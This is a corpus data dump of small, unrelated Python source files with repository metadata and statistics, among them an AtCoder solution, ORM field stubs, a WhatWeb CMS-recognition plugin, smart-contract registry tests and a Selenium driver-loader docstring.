KoyanagiHitoshi/AtCoder
731892543769b5df15254e1f32b756190378d292
[ "MIT" ]
null
null
null
n, x = map(int, input().split()) print(min(x-1, n-x))
26.5
32
0.566038
12
53
2.5
0.75
0.133333
0
0
0
0
0
0
0
0
0
0.021277
0.113208
53
2
33
26.5
0.617021
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
0
0
0
0.5
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
0
0
0
1
0
4
cef765d74df1d3e57238af7be37d09cfc355b6db
218
py
Python
fncore/__init__.py
jtwool/fncore
62c28134a6ae7608a461ebd35e53ebf6ce0f89d1
[ "MIT" ]
null
null
null
fncore/__init__.py
jtwool/fncore
62c28134a6ae7608a461ebd35e53ebf6ce0f89d1
[ "MIT" ]
null
null
null
fncore/__init__.py
jtwool/fncore
62c28134a6ae7608a461ebd35e53ebf6ce0f89d1
[ "MIT" ]
null
null
null
from fncore import fn from functools import reduce, partial from toolz.functoolz import curry from toolz.dicttoolz import merge, merge_with __all__=[ "fn", "reduce", "partial", "curry", "merge", "merge_with" ]
24.222222
45
0.733945
29
218
5.310345
0.482759
0.168831
0.181818
0
0
0
0
0
0
0
0
0
0.155963
218
9
46
24.222222
0.836957
0
0
0
0
0
0.159817
0
0
0
0
0
0
1
0
false
0
0.5
0
0.5
0
1
0
0
null
0
1
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
0
0
0
4
cef90b3eb1c7c7ce3c82c315f2510fbd5bd9a437
709
py
Python
tests/tests_common.py
exscape/procyon
706ec9e585f07957d104b85984cb89dec4a233a1
[ "Zlib" ]
null
null
null
tests/tests_common.py
exscape/procyon
706ec9e585f07957d104b85984cb89dec4a233a1
[ "Zlib" ]
23
2015-01-21T09:46:59.000Z
2015-01-27T12:23:59.000Z
tests/tests_common.py
exscape/procyon
706ec9e585f07957d104b85984cb89dec4a233a1
[ "Zlib" ]
null
null
null
# vim: ts=4 sts=4 et sw=4 import os import sys sys.path.insert(1, os.path.join(sys.path[0], '..')) from procyon import evaluate from procyon import evaluate_command def ev(*args): """ Evaluate a string with a fresh global state. This is important to ensure that test results are independent on prior tests. For example, a variable that shouldn't exist due to scoping may exist from a prior test. """ return evaluate(*args, clear_state=True) def ev_reuse_state(*args): """ Evaluate a string with the previous state. Useful for some tests, but not a majority. """ return evaluate(*args, clear_state=False) def ev_command(*args): return evaluate_command(*args)
25.321429
81
0.705219
112
709
4.401786
0.544643
0.030426
0.068966
0.10142
0.206897
0
0
0
0
0
0
0.008818
0.200282
709
27
82
26.259259
0.86067
0.456982
0
0
0
0
0.00578
0
0
0
0
0
0
1
0.272727
true
0
0.363636
0.090909
0.909091
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
1
0
1
0
1
0
0
4
30315b8c54c6bc09bd02f189c184e5a1d8ed821d
31
py
Python
SSC.py
Sebastian56470/football
bb0899938f370ede607612f91084b7bd17848579
[ "Apache-2.0" ]
null
null
null
SSC.py
Sebastian56470/football
bb0899938f370ede607612f91084b7bd17848579
[ "Apache-2.0" ]
null
null
null
SSC.py
Sebastian56470/football
bb0899938f370ede607612f91084b7bd17848579
[ "Apache-2.0" ]
null
null
null
Mein neuer Code neue Codezeile
10.333333
15
0.83871
5
31
5.2
1
0
0
0
0
0
0
0
0
0
0
0
0.16129
31
2
16
15.5
1
0
0
0
0
0
0
0
0
0
0
0
0
0
null
null
0
0
null
null
0
1
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
4
3042175806f2d030d2643830dc8b69d59021771c
284
py
Python
Cap 3/3.11.py
diegomcosta/Introducao-Python-Nilo-Ney-Menezes
9a13023181a32290b867b0e1cf02a1575891ec42
[ "MIT" ]
null
null
null
Cap 3/3.11.py
diegomcosta/Introducao-Python-Nilo-Ney-Menezes
9a13023181a32290b867b0e1cf02a1575891ec42
[ "MIT" ]
null
null
null
Cap 3/3.11.py
diegomcosta/Introducao-Python-Nilo-Ney-Menezes
9a13023181a32290b867b0e1cf02a1575891ec42
[ "MIT" ]
null
null
null
preco = float(input("Entre com o preço da mercadoria R$ ")) desconto = int(input("Entre com o percentual de desconto: ")) print(f"O valor do desconto será de R${preco * (desconto/100):.2f}") print(f"O preço da mercadoria com desconto será de R${preco - preco * (desconto/100):.2f}")
47.333333
91
0.700704
48
284
4.145833
0.4375
0.100503
0.130653
0.140704
0.201005
0
0
0
0
0
0
0.033058
0.147887
284
5
92
56.8
0.789256
0
0
0
0
0.25
0.742049
0
0
0
0
0
0
1
0
false
0
0
0
0
0.5
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
1
1
0
null
0
0
0
0
0
0
0
0
0
0
0
1
0
4
304c71688256035aca45e1c3d03dda39692c3079
1,545
py
Python
knackles/fields.py
channelcat/moon
efa2754742204e66907b2982ba00693eecba5311
[ "MIT" ]
7
2017-05-18T10:41:00.000Z
2021-07-24T21:30:31.000Z
knackles/fields.py
channelcat/knackles
efa2754742204e66907b2982ba00693eecba5311
[ "MIT" ]
null
null
null
knackles/fields.py
channelcat/knackles
efa2754742204e66907b2982ba00693eecba5311
[ "MIT" ]
null
null
null
from .util import Undefined class Field: def __init__(self, size=None, name=None, null=False, default=Undefined): self.size = size self.name = name self.null = null self.default = default self.model_field_name = None class IntegerField(Field): # TODO: this field pass class BigInteger(IntegerField): # TODO: this field pass class BigInteger(IntegerField): # TODO: this field pass class SmallInteger(IntegerField): # TODO: this field pass class IDField(IntegerField): # TODO: this field pass class FloatField(Field): # TODO: this field pass class DoubleField(FloatField): # TODO: this field pass class DecimalField(Field): # TODO: this field pass class CharField(Field): # TODO: this field pass class FixedChar(CharField): # TODO: this field pass class TextField(Field): # TODO: this field pass class BlobField(Field): # TODO: this field pass class UUIDField(Field): # TODO: this field pass class DateTimeField(Field): # TODO: this field pass class DateField(Field): # TODO: this field pass class TimeField(Field): # TODO: this field pass class TimestampField(IntegerField): # TODO: this field pass class BooleanField(Field): # TODO: this field pass class ForeignKeyField(IntegerField): # TODO: this field pass class CompositeKeyField(object): """A primary key composed of multiple columns.""" # TODO: this field pass
17.166667
76
0.655663
181
1,545
5.563536
0.254144
0.158888
0.258193
0.337637
0.561072
0.517378
0.109235
0.109235
0.109235
0.109235
0
0
0.260194
1,545
90
77
17.166667
0.881015
0.248544
0
0.458333
0
0
0
0
0
0
0
0.011111
0
1
0.020833
false
0.416667
0.020833
0
0.479167
0
0
0
0
null
0
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
1
0
0
0
0
1
0
0
0
0
0
4
30756651dfaa0872ca183643cab003bd75238c94
217
py
Python
plugins/dedecms_cms.py
cflq3/getcms
6cf07da0ea3ec644866df715cff1f311a46ee378
[ "MIT" ]
22
2016-09-01T08:27:07.000Z
2021-01-11T13:32:59.000Z
plugins/dedecms_cms.py
cflq3/getcms
6cf07da0ea3ec644866df715cff1f311a46ee378
[ "MIT" ]
null
null
null
plugins/dedecms_cms.py
cflq3/getcms
6cf07da0ea3ec644866df715cff1f311a46ee378
[ "MIT" ]
20
2015-11-07T19:09:48.000Z
2018-05-02T03:10:41.000Z
#!/usr/bin/env python # encoding: utf-8 def run(whatweb, pluginname): whatweb.recog_from_content(pluginname, "dedecms") whatweb.recog_from_file(pluginname, "templets/default/style/dedecms.css", "DedeCMS")
21.7
88
0.741935
28
217
5.607143
0.714286
0.152866
0.203822
0
0
0
0
0
0
0
0
0.005208
0.115207
217
9
89
24.111111
0.8125
0.165899
0
0
0
0
0.271186
0.19209
0
0
0
0
0
1
0.333333
false
0
0
0
0.333333
0
1
0
0
null
0
1
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
0
0
0
4
065b84b279ee0aafd4ae9f81272c31e9359b540c
3,270
py
Python
tests/unitary/test_remove_pool.py
DeggetLoveCrypto/curve-pool-registry
d6d346e0296488e876f2c27a5c568c62661be5da
[ "MIT" ]
null
null
null
tests/unitary/test_remove_pool.py
DeggetLoveCrypto/curve-pool-registry
d6d346e0296488e876f2c27a5c568c62661be5da
[ "MIT" ]
1
2021-04-19T15:12:43.000Z
2021-04-19T15:12:43.000Z
tests/unitary/test_remove_pool.py
DeggetLoveCrypto/curve-pool-registry
d6d346e0296488e876f2c27a5c568c62661be5da
[ "MIT" ]
null
null
null
import brownie import pytest from scripts.utils import pack_values ZERO_ADDRESS = "0x0000000000000000000000000000000000000000" def test_remove_first(accounts, registry_all, pool_compound, pool_y, pool_susd): registry_all.remove_pool(pool_compound, {'from': accounts[0]}) assert registry_all.pool_count() == 2 assert registry_all.pool_list(0) == pool_susd assert registry_all.pool_list(1) == pool_y assert registry_all.pool_list(2) == ZERO_ADDRESS def test_remove_middle(accounts, registry_all, pool_compound, pool_y, pool_susd): registry_all.remove_pool(pool_y, {'from': accounts[0]}) assert registry_all.pool_count() == 2 assert registry_all.pool_list(0) == pool_compound assert registry_all.pool_list(1) == pool_susd assert registry_all.pool_list(2) == ZERO_ADDRESS def test_remove_final(accounts, registry_all, pool_compound, pool_y, pool_susd): registry_all.remove_pool(pool_susd, {'from': accounts[0]}) assert registry_all.pool_count() == 2 assert registry_all.pool_list(0) == pool_compound assert registry_all.pool_list(1) == pool_y assert registry_all.pool_list(2) == ZERO_ADDRESS def test_remove_all(accounts, registry_all, pool_compound, pool_y, pool_susd): for pool in (pool_compound, pool_y, pool_susd): registry_all.remove_pool(pool, {'from': accounts[0]}) assert registry_all.pool_count() == 0 for i in range(3): assert registry_all.pool_list(i) == ZERO_ADDRESS def test_admin_only(accounts, registry_all, pool_compound): with brownie.reverts("dev: admin-only function"): registry_all.remove_pool(pool_compound, {'from': accounts[1]}) def test_cannot_remove_twice(accounts, registry_all, pool_compound): registry_all.remove_pool(pool_compound, {'from': accounts[0]}) with brownie.reverts("dev: pool does not exist"): registry_all.remove_pool(pool_compound, {'from': accounts[0]}) def test_pool_coins(accounts, registry_all, pool_compound, pool_y, pool_susd): compound_info = registry_all.get_pool_coins(pool_compound) susd_info = registry_all.get_pool_coins(pool_susd) registry_all.remove_pool(pool_y, {'from': accounts[0]}) assert registry_all.get_pool_coins(pool_compound) == compound_info assert registry_all.get_pool_coins(pool_susd) == susd_info coin_info = registry_all.get_pool_coins(pool_y) assert not next((i for i in coin_info[0] if i != ZERO_ADDRESS), False) assert not next((i for i in coin_info[1] if i != ZERO_ADDRESS), False) assert coin_info[2] == [0, 0, 0, 0, 0, 0, 0, 0] def test_get_pool_info(accounts, registry_all, pool_y, pool_susd, lp_susd): pool_info = registry_all.get_pool_info(pool_susd) registry_all.remove_pool(pool_y, {'from': accounts[0]}) assert registry_all.get_pool_info(pool_susd) == pool_info registry_all.remove_pool(pool_susd, {'from': accounts[0]}) with brownie.reverts(): registry_all.get_pool_info(pool_susd) registry_all.add_pool( pool_susd, 4, lp_susd, ZERO_ADDRESS, "0x00", pack_values([18, 6, 6, 18]), pack_values([18, 6, 6, 18]), True, {'from': accounts[0]} ) assert registry_all.get_pool_info(pool_susd) == pool_info
34.787234
81
0.723242
489
3,270
4.480573
0.122699
0.210863
0.150616
0.134185
0.803286
0.758101
0.706983
0.630762
0.592424
0.43131
0
0.034041
0.164526
3,270
93
82
35.16129
0.767936
0
0
0.34375
0
0
0.042202
0.012844
0
0
0.014067
0
0.328125
1
0.125
false
0
0.046875
0
0.171875
0
0
0
0
null
1
0
0
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
4
065beaabe0b8f97a99bf20495cf0cd572be3692c
86
py
Python
.vulture_whitelist.py
imsb-uke/discern
064859763ece154c410f3e34a3189756c750d651
[ "MIT" ]
null
null
null
.vulture_whitelist.py
imsb-uke/discern
064859763ece154c410f3e34a3189756c750d651
[ "MIT" ]
null
null
null
.vulture_whitelist.py
imsb-uke/discern
064859763ece154c410f3e34a3189756c750d651
[ "MIT" ]
null
null
null
exc_type # unused variable exc_value # unused variable traceback # unused variable
21.5
28
0.790698
11
86
6
0.545455
0.636364
0
0
0
0
0
0
0
0
0
0
0.174419
86
3
29
28.666667
0.929577
0.546512
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
0
0
0
0
1
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
0
0
0
0
0
4
0666e8818e35d148f8148440257e53b11cd77f17
375
py
Python
src/sklearndf/classification/__init__.py
mtsokol/sklearndf
172fb9d5497d6a8f5586d9f4d02e9b48b9bf62c3
[ "Apache-2.0" ]
37
2021-01-12T08:06:45.000Z
2022-02-02T02:32:25.000Z
src/sklearndf/classification/__init__.py
mtsokol/sklearndf
172fb9d5497d6a8f5586d9f4d02e9b48b9bf62c3
[ "Apache-2.0" ]
13
2021-01-20T13:03:13.000Z
2022-03-04T15:44:58.000Z
src/sklearndf/classification/__init__.py
mtsokol/sklearndf
172fb9d5497d6a8f5586d9f4d02e9b48b9bf62c3
[ "Apache-2.0" ]
4
2021-01-31T16:14:24.000Z
2022-03-14T08:20:08.000Z
""" Extended versions of all Scikit-Learn classifiers with enhanced E2E support for data frames. """ from .. import __sklearn_0_22__, __sklearn_0_23__, __sklearn_version__ from ._classification import * if __sklearn_version__ >= __sklearn_0_22__: from ._classification_v0_22 import * if __sklearn_version__ >= __sklearn_0_23__: from ._classification_v0_23 import *
28.846154
84
0.8
49
375
5.183673
0.489796
0.125984
0.07874
0.173228
0.23622
0.23622
0
0
0
0
0
0.058642
0.136
375
12
85
31.25
0.725309
0.245333
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
0.666667
0
0.666667
0
0
0
0
null
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
4
0676e4ad41b266f0190470cd954292de0675983f
32
py
Python
archive/content/__init__.py
GhitaB/archive.content
ebd4093e2ec9fa31913876199829e3e11bac5d1c
[ "Unlicense" ]
null
null
null
archive/content/__init__.py
GhitaB/archive.content
ebd4093e2ec9fa31913876199829e3e11bac5d1c
[ "Unlicense" ]
null
null
null
archive/content/__init__.py
GhitaB/archive.content
ebd4093e2ec9fa31913876199829e3e11bac5d1c
[ "Unlicense" ]
null
null
null
""" Archive Content package """
10.666667
27
0.65625
3
32
7
1
0
0
0
0
0
0
0
0
0
0
0
0.15625
32
2
28
16
0.777778
0.71875
0
null
0
null
0
0
null
0
0
0
null
1
null
true
0
0
null
null
null
1
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
0
0
0
0
0
4
068033d74c40c039e8b642425bde6e8df86638f1
124
py
Python
votesim/strategy/__init__.py
johnh865/election_sim
b73b7e65f1bb22abb82cbe8442fcf02b0c20894e
[ "MIT" ]
8
2019-10-21T23:24:51.000Z
2021-09-14T03:04:59.000Z
votesim/strategy/__init__.py
johnh865/election_sim
b73b7e65f1bb22abb82cbe8442fcf02b0c20894e
[ "MIT" ]
2
2021-02-09T23:52:47.000Z
2021-02-10T04:08:35.000Z
votesim/strategy/__init__.py
johnh865/election_sim
b73b7e65f1bb22abb82cbe8442fcf02b0c20894e
[ "MIT" ]
1
2019-10-21T23:32:18.000Z
2019-10-21T23:32:18.000Z
from votesim.strategy.tacticalballots import (TacticalRoot, TacticalBallots)
41.333333
62
0.540323
7
124
9.571429
0.857143
0
0
0
0
0
0
0
0
0
0
0
0.419355
124
3
62
41.333333
0.930556
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
0.5
0
0.5
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
0
0
0
4
06afe614b925df2f6d06ee97abe34390ee32c0d9
83
py
Python
GarfieldBot/__init__.py
lavenduale/GarfieldBot
a5dbdf1713cb3a92a9a5c4b612231048c6fdc7e0
[ "MIT" ]
null
null
null
GarfieldBot/__init__.py
lavenduale/GarfieldBot
a5dbdf1713cb3a92a9a5c4b612231048c6fdc7e0
[ "MIT" ]
3
2019-03-02T19:03:49.000Z
2020-11-05T17:15:33.000Z
GarfieldBot/__init__.py
lavenduale/GarfieldBot
a5dbdf1713cb3a92a9a5c4b612231048c6fdc7e0
[ "MIT" ]
3
2019-03-02T17:37:52.000Z
2019-03-31T16:54:23.000Z
from .Bot import Bot from .Plugin import GarfieldPlugin from .DataClasses import *
20.75
34
0.807229
11
83
6.090909
0.545455
0
0
0
0
0
0
0
0
0
0
0
0.144578
83
3
35
27.666667
0.943662
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
0
0
0
4
230a77a908af0b6fe8628b62c07d99a15fdfd483
1,697
py
Python
driloader/__init__.py
lucasmello/Driloader
09790187eee7550e9fc93eb3479124a63d225e85
[ "MIT" ]
4
2017-07-16T20:48:45.000Z
2017-10-05T21:45:24.000Z
driloader/__init__.py
lucasmello/Driloader
09790187eee7550e9fc93eb3479124a63d225e85
[ "MIT" ]
16
2017-05-31T17:08:43.000Z
2021-04-19T17:34:31.000Z
driloader/__init__.py
lucasmello/Driloader
09790187eee7550e9fc93eb3479124a63d225e85
[ "MIT" ]
null
null
null
# -*- coding: utf-8 -*- # vim: tabstop=4 expandtab shiftwidth=4 softtabstop=4 """ Driloader --------- Selenium drivers downloader tool with standalone CLI support. Selenium needs a specific driver to work with each browser. Every driver has a version that works with specific browser versions, and it's really annoying reading the changelogs to check if the current driver will work with the new browser version. Plus, a lot of times a test crashes because the browser has updated and the driver is not compatible anymore. That's why Driloader exists: To make this process so much easier! Driloader autodetect the browser version (it supports Chrome, Firefox and Internet Explorer) and download the driver according to it's version. usage: - Usage with Firefox >>> from driloader import driloader >>> from selenium.webdriver import Firefox >>> >>> driver_path = driloader.firefox().get_driver() >>> browser = Firefox(executable_path=driver_path) >>> browser.get("http://www.google.com") >>> browser.quit() - Usage with Chrome >>> from driloader import driloader >>> from selenium.webdriver import Chrome >>> >>> driver_path = driloader.chrome().get_driver() >>> browser = Chrome(executable_path=driver_path) >>> browser.get("http://www.google.com") >>> browser.quit() - Usage with Internet Explorer >>> from selenium.webdriver import Ie >>> from driloader import driloader >>> driver_path = driloader.internet_explorer().get_driver() >>> browser = Ie(executable_path=driver_path) >>> browser.get("http://www.google.com") >>> browser.quit() """ from .driloader import chrome, firefox, internet_explorer
32.018868
78
0.714791
221
1,697
5.425339
0.38914
0.050042
0.063386
0.070058
0.259383
0.259383
0.259383
0.259383
0.16764
0.16764
0
0.002859
0.175604
1,697
52
79
32.634615
0.854182
0.956983
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
4